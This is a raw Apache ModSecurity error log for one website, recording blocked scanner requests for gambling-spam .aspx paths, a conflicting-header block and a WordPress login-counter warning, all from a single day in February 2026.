[Mon Feb 02 09:25:13.331290 2026] [:error] [pid 33612:tid 33620] [client 147.135.253.47:51894] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aX_8-ctFn80qQEmo5QqD9wAAAQY"]
[Mon Feb 02 09:25:15.936581 2026] [:error] [pid 63153:tid 63170] [client 147.135.253.47:51902] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aX_8-3C9GXHnmLkdgdn-cgAAAMk"]
[Mon Feb 02 09:25:18.532019 2026] [:error] [pid 63153:tid 63165] [client 147.135.253.47:52746] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aX_8_nC9GXHnmLkdgdn-dQAAAMQ"]
[Mon Feb 02 09:25:20.962248 2026] [:error] [pid 8507:tid 8510] [client 147.135.253.47:52754] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aX_9ANk9kluqaCHoCymmIwAAAcE"]
[Mon Feb 02 09:25:23.372151 2026] [:error] [pid 63034:tid 63134] [client 147.135.253.47:52764] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aX_9A-KXlgw75_wfbHpSAgAAAJA"]
[Mon Feb 02 09:25:25.760918 2026] [:error] [pid 33612:tid 33637] [client 147.135.253.47:52780] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aX_9BctFn80qQEmo5QqECwAAARc"]
[Mon Feb 02 09:25:28.291356 2026] [:error] [pid 33612:tid 33628] [client 147.135.253.47:50404] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aX_9CMtFn80qQEmo5QqEDwAAAQ4"]
[Mon Feb 02 09:25:30.808713 2026] [:error] [pid 33612:tid 33633] [client 147.135.253.47:50416] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aX_9CstFn80qQEmo5QqEFQAAARM"]
[Mon Feb 02 09:25:33.459579 2026] [:error] [pid 63153:tid 63172] [client 147.135.253.47:50424] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aX_9DXC9GXHnmLkdgdn-rwAAAMs"]
[Mon Feb 02 09:25:54.222539 2026] [:error] [pid 63032:tid 63068] [client 147.135.253.47:50438] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aX_9InyEQ1PkpebvdRhZOwAAAAU"]
[Mon Feb 02 09:25:56.783181 2026] [:error] [pid 63032:tid 63078] [client 147.135.253.47:46820] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aX_9JHyEQ1PkpebvdRhZRAAAAA8"]
[Mon Feb 02 09:25:59.161922 2026] [:error] [pid 63153:tid 63165] [client 147.135.253.47:51822] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aX_9J3C9GXHnmLkdgdn_AwAAAMQ"]
[Mon Feb 02 09:26:01.695208 2026] [:error] [pid 63032:tid 63082] [client 147.135.253.47:51830] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aX_9KXyEQ1PkpebvdRhZSQAAABM"]
[Mon Feb 02 09:26:04.091955 2026] [:error] [pid 46008:tid 46028] [client 147.135.253.47:51836] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aX_9LCRa52iYn7SlSMkVmgAAAVE"]
[Mon Feb 02 09:26:06.509811 2026] [:error] [pid 8507:tid 8524] [client 147.135.253.47:51848] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aX_9Ltk9kluqaCHoCymmfgAAAc8"]
[Mon Feb 02 09:26:09.043372 2026] [:error] [pid 63153:tid 63180] [client 147.135.253.47:40394] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aX_9MXC9GXHnmLkdgdn_CgAAANM"]
[Mon Feb 02 09:26:11.557951 2026] [:error] [pid 63032:tid 63076] [client 147.135.253.47:40410] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aX_9M3yEQ1PkpebvdRhZWAAAAA0"]
[Mon Feb 02 09:26:13.905825 2026] [:error] [pid 63032:tid 63079] [client 147.135.253.47:40412] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aX_9NXyEQ1PkpebvdRhZXQAAABA"]
[Mon Feb 02 09:26:16.285971 2026] [:error] [pid 62826:tid 62845] [client 147.135.253.47:40420] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aX_9OIF6vPvg_C5dUL_FkgAAAZE"]
[Mon Feb 02 09:26:18.792919 2026] [:error] [pid 63032:tid 63084] [client 147.135.253.47:44034] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aX_9OnyEQ1PkpebvdRhZZgAAABU"]
[Mon Feb 02 09:26:21.303869 2026] [:error] [pid 46008:tid 46020] [client 147.135.253.47:44048] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aX_9PSRa52iYn7SlSMkVsAAAAUk"]
[Mon Feb 02 09:26:23.870745 2026] [:error] [pid 8507:tid 8513] [client 147.135.253.47:44060] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aX_9P9k9kluqaCHoCymmlAAAAcQ"]
[Mon Feb 02 09:26:26.488050 2026] [:error] [pid 63034:tid 63136] [client 147.135.253.47:44074] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aX_9QuKXlgw75_wfbHpSVQAAAJI"]
[Mon Feb 02 09:26:28.834944 2026] [:error] [pid 63033:tid 63099] [client 147.135.253.47:57866] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aX_9RPeMX2QyIh3K16piBwAAAEg"]
[Mon Feb 02 09:26:31.341466 2026] [:error] [pid 63032:tid 63082] [client 147.135.253.47:57872] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aX_9R3yEQ1PkpebvdRhZgwAAABM"]
[Mon Feb 02 09:26:33.712998 2026] [:error] [pid 8507:tid 8519] [client 147.135.253.47:57884] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aX_9Sdk9kluqaCHoCymmmwAAAco"]
[Mon Feb 02 09:26:36.214297 2026] [:error] [pid 33612:tid 33635] [client 147.135.253.47:57892] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aX_9TMtFn80qQEmo5QqERwAAARU"]
[Mon Feb 02 09:26:38.713729 2026] [:error] [pid 33612:tid 33629] [client 147.135.253.47:33330] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aX_9TstFn80qQEmo5QqESwAAAQ8"]
[Mon Feb 02 09:26:41.234025 2026] [:error] [pid 8507:tid 8524] [client 147.135.253.47:33336] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aX_9Udk9kluqaCHoCymmrwAAAc8"]
[Mon Feb 02 09:26:43.734623 2026] [:error] [pid 63153:tid 63180] [client 147.135.253.47:33340] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aX_9U3C9GXHnmLkdgdn_HwAAANM"]
[Mon Feb 02 09:26:46.244015 2026] [:error] [pid 62826:tid 62830] [client 147.135.253.47:33346] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aX_9VoF6vPvg_C5dUL_FpQAAAYI"]
[Mon Feb 02 09:26:48.735198 2026] [:error] [pid 63034:tid 63142] [client 147.135.253.47:41372] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aX_9WOKXlgw75_wfbHpSbAAAAJg"]
[Mon Feb 02 09:26:51.251703 2026] [:error] [pid 33612:tid 33631] [client 147.135.253.47:41388] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aX_9W8tFn80qQEmo5QqEXwAAARE"]
[Mon Feb 02 11:49:13.254878 2026] [:error] [pid 57022:tid 57061] [client 185.241.211.8:64245] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYAeuRnEgLMzfcurxfn0GwAAAok"]
[Mon Feb 02 11:49:13.681559 2026] [:error] [pid 57022:tid 57059] [client 185.241.211.8:64244] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYAeuRnEgLMzfcurxfn0MAAAAoc"]
[Mon Feb 02 11:49:13.682752 2026] [:error] [pid 57022:tid 57059] [client 185.241.211.8:64348] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYAeuRnEgLMzfcurxfn0MQAAAoc"]
[Mon Feb 02 11:49:14.119285 2026] [:error] [pid 63153:tid 63185] [client 185.241.211.8:64512] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYAeunC9GXHnmLkdgdkZqQAAANg"]
[Mon Feb 02 11:49:14.546205 2026] [:error] [pid 63153:tid 63174] [client 185.241.211.8:64510] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYAeunC9GXHnmLkdgdkZswAAAM0"]
[Mon Feb 02 11:49:14.552003 2026] [:error] [pid 57081:tid 57133] [client 185.241.211.8:64701] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYAeumvouJ2Jkm6HfBjYGQAAAxI"]
[Mon Feb 02 11:49:14.981940 2026] [:error] [pid 63034:tid 63124] [client 185.241.211.8:64906] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYAeuuKXlgw75_wfbHpx9gAAAIY"]
[Mon Feb 02 11:49:15.409026 2026] [:error] [pid 63034:tid 63123] [client 185.241.211.8:64902] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYAeu-KXlgw75_wfbHpyBwAAAIU"]
[Mon Feb 02 11:49:16.265905 2026] [:error] [pid 46008:tid 46015] [client 185.241.211.8:65228] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYAevCRa52iYn7SlSMk4SwAAAUU"]
[Mon Feb 02 11:49:17.123352 2026] [:error] [pid 63032:tid 63067] [client 185.241.211.8:65355] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYAevXyEQ1PkpebvdRh5twAAAAQ"]
[Mon Feb 02 13:30:43.439697 2026] [:error] [pid 46008:tid 46015] [client 43.130.91.95:57828] [client 43.130.91.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYA2gyRa52iYn7SlSMlSRgAAAUU"]
[Mon Feb 02 13:44:58.751208 2026] [:error] [pid 33612:tid 33627] [client 136.144.33.15:44159] [client 136.144.33.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.15, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYA52stFn80qQEmo5Qq8twAAAQ0"]
[Mon Feb 02 18:50:43.756360 2026] [:error] [pid 57022:tid 57062] [client 65.108.2.171:20116] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYCBgxnEgLMzfcurxfk9cAAAAoo"]
[Mon Feb 02 18:50:46.320779 2026] [:error] [pid 63153:tid 63185] [client 65.108.2.171:48870] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYCBhnC9GXHnmLkdgdls0QAAANg"]
[Mon Feb 02 18:50:48.903531 2026] [:error] [pid 63032:tid 63066] [client 65.108.2.171:48880] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYCBiHyEQ1PkpebvdRjRsAAAAAM"]
[Mon Feb 02 18:50:51.504302 2026] [:error] [pid 46008:tid 46016] [client 65.108.2.171:48884] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYCBiyRa52iYn7SlSMmTWQAAAUY"]
[Mon Feb 02 18:50:54.061358 2026] [:error] [pid 57022:tid 57061] [client 65.108.2.171:48892] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYCBjhnEgLMzfcurxfk9egAAAok"]
[Mon Feb 02 18:50:56.669758 2026] [:error] [pid 57080:tid 57101] [client 65.108.2.171:19724] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYCBkI9Utn0ZlfnF10NMrQAAAs4"]
[Mon Feb 02 18:50:59.249002 2026] [:error] [pid 63153:tid 63162] [client 65.108.2.171:19726] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYCBk3C9GXHnmLkdgdls2wAAAME"]
[Mon Feb 02 18:51:01.844937 2026] [:error] [pid 63153:tid 63173] [client 65.108.2.171:19738] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYCBlXC9GXHnmLkdgdls3gAAAMw"]
[Mon Feb 02 18:51:04.424997 2026] [:error] [pid 63153:tid 63169] [client 65.108.2.171:19752] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYCBmHC9GXHnmLkdgdls4wAAAMg"]
